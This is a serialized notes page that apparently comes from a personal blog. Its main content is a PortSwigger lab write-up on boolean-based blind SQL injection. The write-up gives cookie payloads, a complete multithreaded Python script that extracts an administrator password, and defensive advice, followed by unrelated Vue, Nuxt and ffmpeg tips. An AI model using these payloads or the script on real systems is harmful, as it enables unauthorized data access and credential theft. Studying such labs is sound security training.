[{"data":1,"prerenderedAt":1572},["ShallowReactive",2],{"page-en-\u002Fnotes\u002Fpentesting":3,"recent-en":39,"posts-en-pentesting":1155},{"id":4,"title":5,"author":6,"body":7,"date":6,"description":30,"extension":31,"image":6,"meta":32,"navigation":33,"path":34,"seo":35,"sitemap":36,"stem":37,"tags":6,"__hash__":38},"content_en\u002Fnotes\u002Fpentesting\u002Findex.md","Pentesting",null,{"type":8,"value":9,"toc":26},"minimark",[10,14],[11,12,5],"h1",{"id":13},"pentesting",[15,16,17,18,25],"p",{},"Write-ups on ",[19,20,24],"a",{"href":21,"rel":22},"https:\u002F\u002Fportswigger.net\u002Fweb-security",[23],"nofollow","PortSwigger Web Security Academy"," labs — SQL injection, XSS, authentication, and more. Each post covers the vulnerability theory and a step-by-step walkthrough of the lab.",{"title":27,"searchDepth":28,"depth":28,"links":29},"",2,[],"Write-ups on PortSwigger Web Security Academy labs — SQL injection, XSS, authentication, and more. Each post covers the vulnerability theory and a step-by-step walkthrough of the lab.","md",{},true,"\u002Fnotes\u002Fpentesting",{"title":5,"description":30},{"loc":34},"notes\u002Fpentesting\u002Findex","fTgoo8QF9Jj_u8IHJ-R6etGOhXDBXwluVV2AS-HFxB0",[40,674,976,1027],{"id":41,"title":42,"author":43,"body":44,"date":661,"description":662,"extension":31,"image":6,"meta":663,"navigation":33,"path":664,"seo":665,"sitemap":666,"stem":667,"tags":668,"__hash__":673},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses.md","Blind SQL Injection with Conditional Responses (PortSwigger Lab)","apsyleg",{"type":8,"value":45,"toc":650},[46,50,55,62,82,86,110,114,121,124,133,140,143,181,184,188,193,200,209,220,224,230,245,248,252,259,600,606,617,621,624,629,646],[11,47,49],{"id":48},"blind-sql-injection-with-conditional-responses","Blind SQL Injection with Conditional Responses",[51,52,54],"h2",{"id":53},"vulnerability","Vulnerability",[15,56,57,61],{},[58,59,60],"strong",{},"Blind SQL injection"," is a class of SQL injection where the application does not return query results or error messages in the HTTP response. Instead, the attacker infers information by observing differences in application behavior — such as whether a particular message appears, or whether the response takes longer.",[15,63,64,65,68,69,73,74,77,78,81],{},"In this variant (",[58,66,67],{},"boolean-based blind SQLi","), the application returns different content depending on whether the injected condition evaluates to ",[70,71,72],"code",{},"TRUE"," or ",[70,75,76],{},"FALSE",". By crafting conditions like ",[70,79,80],{},"SUBSTRING(password, 1, 1) = 'a'",", an attacker can extract data one character at a time.",[51,83,85],{"id":84},"lab","Lab",[15,87,88,91,92,97,100,103,104,106,109],{},[58,89,90],{},"Name:"," ",[19,93,96],{"href":94,"rel":95},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[23],"Blind SQL injection with conditional responses",[98,99],"br",{},[58,101,102],{},"Difficulty:"," Practitioner",[98,105],{},[58,107,108],{},"Goal:"," Exploit a blind SQL injection vulnerability in a tracking cookie to extract the administrator's password and log in.",[51,111,113],{"id":112},"reconnaissance","Reconnaissance",[15,115,116,117,120],{},"The application stores a ",[70,118,119],{},"TrackingId"," cookie that is used in an SQL query. The query result is never displayed, but a \"Welcome back!\" message appears on the page when the query returns at least one row.",[15,122,123],{},"First, we confirm the injection point by appending a quote:",[125,126,131],"pre",{"className":127,"code":129,"language":130},[128],"language-text","TrackingId=ncJfdwqSUQK7Gh4b'--\n","text",[70,132,129],{"__ignoreMap":27},[15,134,135,136,139],{},"The \"Welcome back!\" message still appears — the comment ",[70,137,138],{},"--"," neutralizes the rest of the original query, so the injection is active.",[15,141,142],{},"Next, we verify boolean behavior:",[125,144,148],{"className":145,"code":146,"language":147,"meta":27,"style":27},"language-sql shiki shiki-themes github-light github-dark","-- TRUE condition → \"Welcome back!\" appears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- FALSE condition → \"Welcome back!\" disappears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[70,149,150,158,163,169,175],{"__ignoreMap":27},[151,152,155],"span",{"class":153,"line":154},"line",1,[151,156,157],{},"-- TRUE condition → \"Welcome back!\" appears\n",[151,159,160],{"class":153,"line":28},[151,161,162],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[151,164,166],{"class":153,"line":165},3,[151,167,168],{"emptyLinePlaceholder":33},"\n",[151,170,172],{"class":153,"line":171},4,[151,173,174],{},"-- FALSE condition → \"Welcome back!\" disappears\n",[151,176,178],{"class":153,"line":177},5,[151,179,180],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[15,182,183],{},"We now have a reliable oracle: if the injected condition is true, the message appears; if false, it does not. This is enough to extract any data from the database bit by bit.",[51,185,187],{"id":186},"exploitation","Exploitation",[189,190,192],"h3",{"id":191},"step-1-determine-password-length","Step 1 — Determine password length",[15,194,195,196,199],{},"We use ",[70,197,198],{},"LENGTH()"," to find how many characters the administrator's password has:",[125,201,203],{"className":145,"code":202,"language":147,"meta":27,"style":27},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[70,204,205],{"__ignoreMap":27},[151,206,207],{"class":153,"line":154},[151,208,202],{},[15,210,211,212,215,216,219],{},"\"Welcome back!\" appears at ",[70,213,214],{},"= 20"," — the password is ",[58,217,218],{},"20 characters long",".",[189,221,223],{"id":222},"step-2-extract-characters","Step 2 — Extract characters",[15,225,195,226,229],{},[70,227,228],{},"SUBSTRING(string, position, length)"," to test one character at a time:",[125,231,233],{"className":145,"code":232,"language":147,"meta":27,"style":27},"-- Is the 1st character 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[70,234,235,240],{"__ignoreMap":27},[151,236,237],{"class":153,"line":154},[151,238,239],{},"-- Is the 1st character 'w'?\n",[151,241,242],{"class":153,"line":28},[151,243,244],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[15,246,247],{},"Doing this manually for 20 characters × 36 possible values (a–z + 0–9) would take hundreds of requests. We automate it with a Python script.",[189,249,251],{"id":250},"step-3-automate-with-python","Step 3 — Automate with Python",[15,253,254,255,258],{},"The script uses ",[70,256,257],{},"ThreadPoolExecutor"," to run 10 requests in parallel, dramatically reducing extraction time:",[125,260,264],{"className":261,"code":262,"language":263,"meta":27,"style":27},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Determining password length...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Password length: {n}\")\n            return n\n    raise ValueError(f\"Password length not found within {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Password: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[70,265,266,271,276,281,285,290,296,302,308,313,319,325,331,336,341,347,353,359,365,371,376,381,387,393,399,405,411,417,423,429,434,439,445,451,457,462,468,474,479,484,490,496,502,508,514,520,526,532,538,544,549,554,560,566,572,578,583,588,594],{"__ignoreMap":27},[151,267,268],{"class":153,"line":154},[151,269,270],{},"import requests\n",[151,272,273],{"class":153,"line":28},[151,274,275],{},"import string\n",[151,277,278],{"class":153,"line":165},[151,279,280],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[151,282,283],{"class":153,"line":171},[151,284,168],{"emptyLinePlaceholder":33},[151,286,287],{"class":153,"line":177},[151,288,289],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[151,291,293],{"class":153,"line":292},6,[151,294,295],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[151,297,299],{"class":153,"line":298},7,[151,300,301],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[151,303,305],{"class":153,"line":304},8,[151,306,307],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[151,309,311],{"class":153,"line":310},9,[151,312,168],{"emptyLinePlaceholder":33},[151,314,316],{"class":153,"line":315},10,[151,317,318],{},"CHARSET = string.ascii_lowercase + string.digits\n",[151,320,322],{"class":153,"line":321},11,[151,323,324],{},"MAX_LENGTH = 30\n",[151,326,328],{"class":153,"line":327},12,[151,329,330],{},"THREADS = 10\n",[151,332,334],{"class":153,"line":333},13,[151,335,168],{"emptyLinePlaceholder":33},[151,337,339],{"class":153,"line":338},14,[151,340,168],{"emptyLinePlaceholder":33},[151,342,344],{"class":153,"line":343},15,[151,345,346],{},"def check(sql_condition: str) -> bool:\n",[151,348,350],{"class":153,"line":349},16,[151,351,352],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[151,354,356],{"class":153,"line":355},17,[151,357,358],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[151,360,362],{"class":153,"line":361},18,[151,363,364],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[151,366,368],{"class":153,"line":367},19,[151,369,370],{},"    return \"Welcome back\" in r.text\n",[151,372,374],{"class":153,"line":373},20,[151,375,168],{"emptyLinePlaceholder":33},[151,377,379],{"class":153,"line":378},21,[151,380,168],{"emptyLinePlaceholder":33},[151,382,384],{"class":153,"line":383},22,[151,385,386],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[151,388,390],{"class":153,"line":389},23,[151,391,392],{},"    print(\"[*] Determining password length...\")\n",[151,394,396],{"class":153,"line":395},24,[151,397,398],{},"    for n in range(1, max_len + 1):\n",[151,400,402],{"class":153,"line":401},25,[151,403,404],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[151,406,408],{"class":153,"line":407},26,[151,409,410],{},"        if check(condition):\n",[151,412,414],{"class":153,"line":413},27,[151,415,416],{},"            print(f\"[+] Password length: {n}\")\n",[151,418,420],{"class":153,"line":419},28,[151,421,422],{},"            return n\n",[151,424,426],{"class":153,"line":425},29,[151,427,428],{},"    raise ValueError(f\"Password length not found within {max_len}\")\n",[151,430,432],{"class":153,"line":431},30,[151,433,168],{"emptyLinePlaceholder":33},[151,435,437],{"class":153,"line":436},31,[151,438,168],{"emptyLinePlaceholder":33},[151,440,442],{"class":153,"line":441},32,[151,443,444],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[151,446,448],{"class":153,"line":447},33,[151,449,450],{},"    for c in CHARSET:\n",[151,452,454],{"class":153,"line":453},34,[151,455,456],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[151,458,460],{"class":153,"line":459},35,[151,461,410],{},[151,463,465],{"class":153,"line":464},36,[151,466,467],{},"            return pos, c\n",[151,469,471],{"class":153,"line":470},37,[151,472,473],{},"    return pos, \"?\"\n",[151,475,477],{"class":153,"line":476},38,[151,478,168],{"emptyLinePlaceholder":33},[151,480,482],{"class":153,"line":481},39,[151,483,168],{"emptyLinePlaceholder":33},[151,485,487],{"class":153,"line":486},40,[151,488,489],{},"def get_password(length: int) -> str:\n",[151,491,493],{"class":153,"line":492},41,[151,494,495],{},"    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n",[151,497,499],{"class":153,"line":498},42,[151,500,501],{},"    password = [\"?\"] * length\n",[151,503,505],{"class":153,"line":504},43,[151,506,507],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[151,509,511],{"class":153,"line":510},44,[151,512,513],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[151,515,517],{"class":153,"line":516},45,[151,518,519],{},"        for future in as_completed(futures):\n",[151,521,523],{"class":153,"line":522},46,[151,524,525],{},"            pos, char = future.result()\n",[151,527,529],{"class":153,"line":528},47,[151,530,531],{},"            password[pos - 1] = char\n",[151,533,535],{"class":153,"line":534},48,[151,536,537],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[151,539,541],{"class":153,"line":540},49,[151,542,543],{},"    return \"\".join(password)\n",[151,545,547],{"class":153,"line":546},50,[151,548,168],{"emptyLinePlaceholder":33},[151,550,552],{"class":153,"line":551},51,[151,553,168],{"emptyLinePlaceholder":33},[151,555,557],{"class":153,"line":556},52,[151,558,559],{},"def main():\n",[151,561,563],{"class":153,"line":562},53,[151,564,565],{},"    length = get_password_length()\n",[151,567,569],{"class":153,"line":568},54,[151,570,571],{},"    password = get_password(length)\n",[151,573,575],{"class":153,"line":574},55,[151,576,577],{},"    print(f\"\\n[+] Password: {password}\")\n",[151,579,581],{"class":153,"line":580},56,[151,582,168],{"emptyLinePlaceholder":33},[151,584,586],{"class":153,"line":585},57,[151,587,168],{"emptyLinePlaceholder":33},[151,589,591],{"class":153,"line":590},58,[151,592,593],{},"if __name__ == \"__main__\":\n",[151,595,597],{"class":153,"line":596},59,[151,598,599],{},"    main()\n",[15,601,602,603],{},"Result: ",[70,604,605],{},"wfa3n32o7a6mb4xon7d6",[15,607,608,609,612,613,616],{},"Log in to ",[70,610,611],{},"\u002Fmy-account"," as ",[70,614,615],{},"administrator"," with this password — lab solved.",[51,618,620],{"id":619},"conclusion","Conclusion",[15,622,623],{},"Blind SQL injection is more subtle than classic SQLi but equally dangerous. Even without any output, a single boolean signal (message present \u002F absent) is enough to extract the entire database.",[15,625,626],{},[58,627,628],{},"How to defend:",[630,631,632,636,639],"ul",{},[633,634,635],"li",{},"Use parameterized queries (prepared statements) — they eliminate injection entirely",[633,637,638],{},"Never concatenate user input directly into SQL strings",[633,640,641,642,645],{},"Apply least privilege to database accounts — the web app user should not have access to the ",[70,643,644],{},"users"," table",[647,648,649],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":27,"searchDepth":28,"depth":28,"links":651},[652,653,654,655,660],{"id":53,"depth":28,"text":54},{"id":84,"depth":28,"text":85},{"id":112,"depth":28,"text":113},{"id":186,"depth":28,"text":187,"children":656},[657,658,659],{"id":191,"depth":165,"text":192},{"id":222,"depth":165,"text":223},{"id":250,"depth":165,"text":251},{"id":619,"depth":28,"text":620},"2026-03-28","How to exploit blind SQL injection via a tracking cookie using boolean-based inference and a multithreaded Python script.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",{"title":42,"description":662},{"loc":664},"notes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",[669,670,671,672],"portswigger","sql-injection","blind-sqli","web-security","xjqLMT0ON2Iphb3NwOgTkgmjGcHATsLRPcyMBeD0IF4",{"id":675,"title":676,"author":677,"body":678,"date":965,"description":966,"extension":31,"image":6,"meta":967,"navigation":33,"path":968,"seo":969,"sitemap":970,"stem":971,"tags":972,"__hash__":975},"content_en\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Creating component state like Options API using reactive()","Oleg Anuchin",{"type":8,"value":679,"toc":963},[680,683,693,704,960],[11,681,676],{"id":682},"creating-component-state-like-options-api-using-reactive",[15,684,685,686,689,690,219],{},"In Options API we can use ",[70,687,688],{},"data()"," function to create a state for the component, then access it directly via ",[70,691,692],{},"this",[15,694,695,696,699,700,703],{},"Using ",[70,697,698],{},"reactive()"," from Composition API achieves the same pattern — much easier than using ",[70,701,702],{},"ref()"," for multiple state properties.",[125,705,709],{"className":706,"code":707,"language":708,"meta":27,"style":27},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Price: {{ price }}\u003C\u002Fp>\n  \u003Cp>Quantity: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Total: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n","vue",[70,710,711,724,740,744,755,764,782,793,801,806,810,830,844,848,852,859,870,875,880,885,890,899,903,912,926,939,952],{"__ignoreMap":27},[151,712,713,717,721],{"class":153,"line":154},[151,714,716],{"class":715},"sVt8B","\u003C",[151,718,720],{"class":719},"s9eBZ","script",[151,722,723],{"class":715},">\n",[151,725,726,730,733,736],{"class":153,"line":28},[151,727,729],{"class":728},"szBVR","import",[151,731,732],{"class":715}," { computed, reactive, toRefs } ",[151,734,735],{"class":728},"from",[151,737,739],{"class":738},"sZZnC"," 'vue'\n",[151,741,742],{"class":153,"line":165},[151,743,168],{"emptyLinePlaceholder":33},[151,745,746,749,752],{"class":153,"line":171},[151,747,748],{"class":728},"export",[151,750,751],{"class":728}," default",[151,753,754],{"class":715}," {\n",[151,756,757,761],{"class":153,"line":177},[151,758,760],{"class":759},"sScJk","  setup",[151,762,763],{"class":715},"() {\n",[151,765,766,769,773,776,779],{"class":153,"line":292},[151,767,768],{"class":728},"    const",[151,770,772],{"class":771},"sj4cs"," state",[151,774,775],{"class":728}," =",[151,777,778],{"class":759}," reactive",[151,780,781],{"class":715},"({\n",[151,783,784,787,790],{"class":153,"line":298},[151,785,786],{"class":715},"      price: ",[151,788,789],{"class":771},"2",[151,791,792],{"class":715},",\n",[151,794,795,798],{"class":153,"line":304},[151,796,797],{"class":715},"      quantity: ",[151,799,800],{"class":771},"5\n",[151,802,803],{"class":153,"line":310},[151,804,805],{"class":715},"    })\n",[151,807,808],{"class":153,"line":315},[151,809,168],{"emptyLinePlaceholder":33},[151,811,812,814,817,819,822,825,828],{"class":153,"line":321},[151,813,768],{"class":728},[151,815,816],{"class":771}," total",[151,818,775],{"class":728},[151,820,821],{"class":759}," computed",[151,823,824],{"class":715},"(() ",[151,826,827],{"class":728},"=>",[151,829,754],{"class":715},[151,831,832,835,838,841],{"class":153,"line":327},[151,833,834],{"class":728},"      return",[151,836,837],{"class":715}," state.price ",[151,839,840],{"class":728},"*",[151,842,843],{"class":715}," state.quantity\n",[151,845,846],{"class":153,"line":333},[151,847,805],{"class":715},[151,849,850],{"class":153,"line":338},[151,851,168],{"emptyLinePlaceholder":33},[151,853,854,857],{"class":153,"line":343},[151,855,856],{"class":728},"    return",[151,858,754],{"class":715},[151,860,861,864,867],{"class":153,"line":349},[151,862,863],{"class":728},"      ...",[151,865,866],{"class":759},"toRefs",[151,868,869],{"class":715},"(state),\n",[151,871,872],{"class":153,"line":355},[151,873,874],{"class":715},"      total\n",[151,876,877],{"class":153,"line":361},[151,878,879],{"class":715},"    }\n",[151,881,882],{"class":153,"line":367},[151,883,884],{"class":715},"  }\n",[151,886,887],{"class":153,"line":373},[151,888,889],{"class":715},"}\n",[151,891,892,895,897],{"class":153,"line":378},[151,893,894],{"class":715},"\u003C\u002F",[151,896,720],{"class":719},[151,898,723],{"class":715},[151,900,901],{"class":153,"line":383},[151,902,168],{"emptyLinePlaceholder":33},[151,904,905,907,910],{"class":153,"line":389},[151,906,716],{"class":715},[151,908,909],{"class":719},"template",[151,911,723],{"class":715},[151,913,914,917,919,922,924],{"class":153,"line":395},[151,915,916],{"class":715},"  \u003C",[151,918,15],{"class":719},[151,920,921],{"class":715},">Price: {{ price }}\u003C\u002F",[151,923,15],{"class":719},[151,925,723],{"class":715},[151,927,928,930,932,935,937],{"class":153,"line":401},[151,929,916],{"class":715},[151,931,15],{"class":719},[151,933,934],{"class":715},">Quantity: {{ quantity }}\u003C\u002F",[151,936,15],{"class":719},[151,938,723],{"class":715},[151,940,941,943,945,948,950],{"class":153,"line":407},[151,942,916],{"class":715},[151,944,15],{"class":719},[151,946,947],{"class":715},">Total: {{ total }}\u003C\u002F",[151,949,15],{"class":719},[151,951,723],{"class":715},[151,953,954,956,958],{"class":153,"line":413},[151,955,894],{"class":715},[151,957,909],{"class":719},[151,959,723],{"class":715},[647,961,962],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":27,"searchDepth":28,"depth":28,"links":964},[],"2022-08-20","How to use reactive() in Vue 3 Composition API to create component state similar to Options API data()",{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":676,"description":966},{"loc":968},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[708,973,974],"composition-api","reactive","96O7U6Y83TlYNqqAf521cyGpqClhv0qB2l1dmJtT0pw",{"id":977,"title":978,"author":677,"body":979,"date":1016,"description":1017,"extension":31,"image":6,"meta":1018,"navigation":33,"path":1019,"seo":1020,"sitemap":1021,"stem":1022,"tags":1023,"__hash__":1026},"content_en\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","How to upgrade Nuxt 3 project",{"type":8,"value":980,"toc":1014},[981,984,1002,1005,1011],[11,982,978],{"id":983},"how-to-upgrade-nuxt-3-project",[125,985,989],{"className":986,"code":987,"language":988,"meta":27,"style":27},"language-bash shiki shiki-themes github-light github-dark","yarn nuxi upgrade\n","bash",[70,990,991],{"__ignoreMap":27},[151,992,993,996,999],{"class":153,"line":154},[151,994,995],{"class":759},"yarn",[151,997,998],{"class":738}," nuxi",[151,1000,1001],{"class":738}," upgrade\n",[15,1003,1004],{},"Example output:",[125,1006,1009],{"className":1007,"code":1008,"language":130},[128],"✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n",[70,1010,1008],{"__ignoreMap":27},[647,1012,1013],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":27,"searchDepth":28,"depth":28,"links":1015},[],"2022-08-15","Simple command to upgrade Nuxt 3 to the latest version",{},"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":978,"description":1017},{"loc":1019},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[1024,708,1025],"nuxt","cli","dM5MoKBMK4iO3YLcsO41-7FRCbfQBNHrd0MQxnAIkWM",{"id":1028,"title":1029,"author":677,"body":1030,"date":1143,"description":1144,"extension":31,"image":6,"meta":1145,"navigation":33,"path":1146,"seo":1147,"sitemap":1148,"stem":1149,"tags":1150,"__hash__":1154},"content_en\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg.md","Batch converting FLAC to AIFF using ffmpeg",{"type":8,"value":1031,"toc":1141},[1032,1035,1038,1054,1065,1138],[11,1033,1029],{"id":1034},"batch-converting-flac-to-aiff-using-ffmpeg",[15,1036,1037],{},"You need ffmpeg to be installed. For macOS:",[125,1039,1041],{"className":986,"code":1040,"language":988,"meta":27,"style":27},"brew install ffmpeg\n",[70,1042,1043],{"__ignoreMap":27},[151,1044,1045,1048,1051],{"class":153,"line":154},[151,1046,1047],{"class":759},"brew",[151,1049,1050],{"class":738}," install",[151,1052,1053],{"class":738}," ffmpeg\n",[15,1055,1056,1057,1060,1061,1064],{},"This command will convert all ",[70,1058,1059],{},"*.flac"," files to ",[70,1062,1063],{},"*.aiff",":",[125,1066,1068],{"className":986,"code":1067,"language":988,"meta":27,"style":27},"for i in *.flac; do ffmpeg -i \"$i\" -write_id3v2 1 -c:v copy \"${i%.*}.aiff\"; done\n",[70,1069,1070],{"__ignoreMap":27},[151,1071,1072,1075,1078,1081,1084,1087,1090,1093,1096,1099,1102,1105,1108,1111,1114,1117,1120,1123,1126,1128,1130,1133,1135],{"class":153,"line":154},[151,1073,1074],{"class":728},"for",[151,1076,1077],{"class":715}," i ",[151,1079,1080],{"class":728},"in",[151,1082,1083],{"class":738}," *.flac",[151,1085,1086],{"class":715},"; ",[151,1088,1089],{"class":728},"do",[151,1091,1092],{"class":759}," ffmpeg",[151,1094,1095],{"class":771}," -i",[151,1097,1098],{"class":738}," \"",[151,1100,1101],{"class":715},"$i",[151,1103,1104],{"class":738},"\"",[151,1106,1107],{"class":771}," -write_id3v2",[151,1109,1110],{"class":771}," 1",[151,1112,1113],{"class":771}," -c:v",[151,1115,1116],{"class":738}," copy",[151,1118,1119],{"class":738}," \"${",[151,1121,1122],{"class":715},"i",[151,1124,1125],{"class":728},"%",[151,1127,219],{"class":738},[151,1129,840],{"class":728},[151,1131,1132],{"class":738},"}.aiff\"",[151,1134,1086],{"class":715},[151,1136,1137],{"class":728},"done\n",[647,1139,1140],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: 